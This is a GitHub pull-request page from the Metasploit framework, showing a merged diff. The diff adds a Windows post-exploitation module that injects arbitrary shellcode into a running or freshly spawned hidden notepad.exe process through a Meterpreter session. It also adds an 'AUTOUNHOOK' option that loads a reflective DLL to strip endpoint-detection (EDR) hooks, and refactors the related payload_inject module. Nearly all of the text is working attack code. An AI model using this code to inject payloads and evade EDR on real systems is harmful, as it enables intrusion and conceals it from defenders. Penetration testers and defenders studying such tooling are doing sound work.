Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add shellcode_inject post module #12391

Merged
merged 8 commits into from Dec 12, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
68 changes: 67 additions & 1 deletion lib/msf/core/post/windows/process.rb
@@ -1,11 +1,45 @@
# -*- coding: binary -*-

require 'msf/core/post/windows/reflective_dll_injection'

module Msf
class Post
module Windows

module Process

include Msf::Post::Windows::ReflectiveDLLInjection

# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(test_arch, pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
if test_arch == p['arch']
return true
else
return false
end
end
end
end

# returns the path to the notepad process based on syswow extension
def get_notepad_pathname(bits, windir, client_arch)
if bits == ARCH_X86 and client_arch == ARCH_X86
cmd = "#{windir}\\System32\\notepad.exe"
elsif bits == ARCH_X64 and client_arch == ARCH_X64
cmd = "#{windir}\\System32\\notepad.exe"
elsif bits == ARCH_X64 and client_arch == ARCH_X86
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif bits == ARCH_X86 and client_arch == ARCH_X64
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end
return cmd
end

#
# Injects shellcode to a process, and executes it.
#
Expand Down Expand Up @@ -37,10 +71,42 @@ def execute_shellcode(shellcode, base_addr=nil, pid=nil)
vprint_error("Unable to create thread")
nil
end

thread
end

def inject_unhook(proc, bits, delay_sec)
if bits == ARCH_X64
dll_file_name = 'x64.dll'
elsif bits == ARCH_X86
dll_file_name = 'x86.dll'
else
return false
end
dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name)
dll, offset = inject_dll_into_process(proc, dll_file)
proc.thread.create(dll + offset, 0)
Rex.sleep(delay_sec)
end

# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
end

procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
end

print_error("PID #{pid.to_s} does not actually exist.")

return false
end
end # Process
end # Windows
end # Post
Expand Down
130 changes: 54 additions & 76 deletions modules/exploits/windows/local/payload_inject.rb
Expand Up @@ -34,107 +34,85 @@ def initialize(info={})

register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
])
end

# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
@payload_arch = ARCH_X86
payload_arch_old = framework.payloads.create(@payload_name).arch.first
# convert the old style archetecture to the new style
@payload_arch = ARCH_X64 if payload_arch_old.include?('64')

vprint_status("Client Arch = #{client.arch}")
vprint_status("Payload Arch = #{@payload_arch}")

# prelim checks
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end

# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

pid = get_pid
if not pid
proc = get_proc(datastore['PID'])
if not proc
print_error("Unable to get a proper PID")
return
end

inject_into_pid(pid)
end

# Figures out which PID to inject to
def get_pid
pid = datastore['PID']
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
print_status("Launching notepad.exe...")
pid = create_temp_proc
unless arch_check(@payload_arch, proc.pid)
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
end

return pid
end


# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
end

procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
print_status("Injecting payload into #{proc.pid}")
begin
inject_into_pid(proc.pid)
rescue ::Exception => e
print_error("Failed to inject Payload to #{pid}!")
print_error(e.to_s)
end

print_error("PID #{pid.to_s} does not actually exist.")

return false
end

# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
vprint_status("Process found checking Architecture")
if @payload_arch.first == p['arch']
vprint_good("Process is the same architecture as the payload")
return true
else
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
return false
end
# Figures out which PID to inject to
def get_proc(pid)
if pid == 0
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {'Hidden' => datastore['HIDDEN']})
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Spawned Notepad process #{proc.pid}")
end
else
if not has_pid?(pid)
print_error("Process #{pid} was not found")
return nil
end
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Opening existing process #{proc.pid}")
end
end
end

# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if @payload_arch.first== ARCH_X86 and client.arch == ARCH_X86
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == ARCH_X64 and client.arch == ARCH_X64
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == ARCH_X64 and client.arch == ARCH_X86
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif @payload_arch.first == ARCH_X86 and client.arch == ARCH_X64
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end

begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
rescue Rex::Post::Meterpreter::RequestError
return nil
end

return proc.pid
return proc
end

def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(pid)

return if not arch_check(@payload_arch, pid)
begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.encoded
Expand Down
119 changes: 119 additions & 0 deletions modules/post/windows/manage/shellcode_inject.rb
@@ -0,0 +1,119 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'

class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::Windows::Process

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Memory Shellcode Injection Module',
'Description' => %q{
This module will inject into the memory of a process a specified shellcode.
},
'License' => MSF_LICENSE,
'Author' => [ 'phra <https://iwantmore.pizza>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))

register_options(
[
OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject the shellcode. (0 = new process)', 0]),
OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),
OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),
OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),
OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),
OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])
])
end

# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

# Set variables
shellcode = IO.read(datastore['SHELLCODE'])
pid = datastore['PID']
bits = datastore['BITS']
p = nil
if bits == '64'
bits = ARCH_X64
else
bits = ARCH_X86
end

# prelim check
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end

# Start Notepad if Required
if pid == 0
notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {
'Hidden' => datastore['HIDDEN'],
'Channelized' => datastore['CHANNELIZED'],
'Interactive' => datastore['INTERACTIVE']
})
print_status("Spawned Notepad process #{proc.pid}")
else
if not has_pid?(pid)
print_error("Process #{pid} was not found")
return false
end
begin
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
end
print_status("Opening existing process #{proc.pid}")
end

# Check
if bits == ARCH_X64 and client.arch == ARCH_X86
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
print_error("Migrate to an x64 process and try again.")
return false
elsif arch_check(bits, proc.pid)
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
end
begin
inject(shellcode, proc)
rescue ::Exception => e
print_error("Failed to inject Payload to #{proc.pid}!")
print_error(e.to_s)
end
end
end

def inject(shellcode, proc)
mem = inject_into_process(proc, shellcode)
proc.thread.create(mem, 0)
print_good("Successfully injected payload into process: #{proc.pid}")
if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0
print_status("Interacting")
client.console.interact_with_channel(proc.channel)
elsif datastore['CHANNELIZED'] && datastore['PID'] == 0
print_status("Retrieving output")
data = proc.channel.read
print_line(data) if data
elsif datastore['CHANNELIZED'] && datastore['PID'] != 0
print_warning("It's not possible to retrieve output when injecting existing processes.")
end
end
end